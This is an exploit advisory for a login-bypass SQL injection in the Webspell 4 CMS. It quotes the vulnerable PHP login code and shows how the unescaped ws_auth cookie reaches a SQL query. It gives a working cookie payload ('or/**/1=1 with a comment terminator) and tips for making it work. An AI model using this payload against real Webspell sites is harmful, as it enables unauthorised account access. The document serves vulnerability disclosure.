Webspell 4 SQL Injection

`#Webspell Login Bypass  
#Found by: h0yt3r  
#  
##  
#Checklogin.php Line 60:  
#  
# setcookie("ws_auth", $ds['userID'].":".$ws_pwd, time()+($sessionduration*60*60));  
# $login = 1;  
#  
##  
#_functions.php Line 253:  
#  
# $login_per_cookie = false;  
# if(isset($_COOKIE['ws_auth']) AND !isset($_SESSION['ws_auth'])) {  
# $login_per_cookie = true;  
# $_SESSION['ws_auth'] = $_COOKIE['ws_auth'];  
# }  
##  
#src/login.php:  
#  
# global $userID, $loggedin;  
#  
# $userID = 0;  
# $loggedin=false;  
#  
# if(isset($_SESSION['ws_auth'])) {  
# if(stristr($_SESSION['ws_auth'], "userid")===FALSE){  
# $authent = explode(":", $_SESSION['ws_auth']);  
# $ws_user = sprintf('%u', $authent[0]);  
#  
# // ws_pwd must be a string without spaces and with a maximum length of 32 <- ???  
# $ws_pwd = substr(str_replace(' ', '', $authent[1]), 0, 32);  
#  
# if(isset($ws_user) AND isset($ws_pwd)) {  
#  
# $check = safe_query("SELECT userID FROM ".PREFIX."user WHERE userID='$ws_user' AND password='$ws_pwd'");  
#  
# while($ds=mysql_fetch_array($check)) {  
# $loggedin=true;  
# $userID=$ds['userID'];  
# }  
# }  
# } else die();  
# }  
# ?>  
#  
#  
####  
  
// ws_pwd must be a string without spaces and with a maximum length of 32  
$ws_pwd = substr(str_replace(' ', '', $authent[1]), 0, 32);  
  
Wuta fuck is dis crap?!  
$_COOKIE['ws_auth'] can be exploited by somting like dis:  
1:'or/**/1=1/**/limit/**/0,1# (# <- is a comment, dont forget...)  
And btw:  
$_SESSION['ws_auth'] = $_COOKIE['ws_auth'];  
So dont foget to delete teh session...  
Bad thing: Only works wit magic_quotes == off  
  
But they got some function:  
#_functions.php:74  
#function sql_quote($value) {  
#  
# if( get_magic_quotes_gpc() ) {  
# $value = stripslashes( $value );  
# }  
# if( function_exists( "mysql_real_escape_string" ) ) {  
# $value = mysql_real_escape_string( $value );  
# }  
# else  
# {  
# $value = addslashes( $value );  
# }  
# return $value;  
#}  
And why in the world isnt it used?!  
  
~END~  
  
`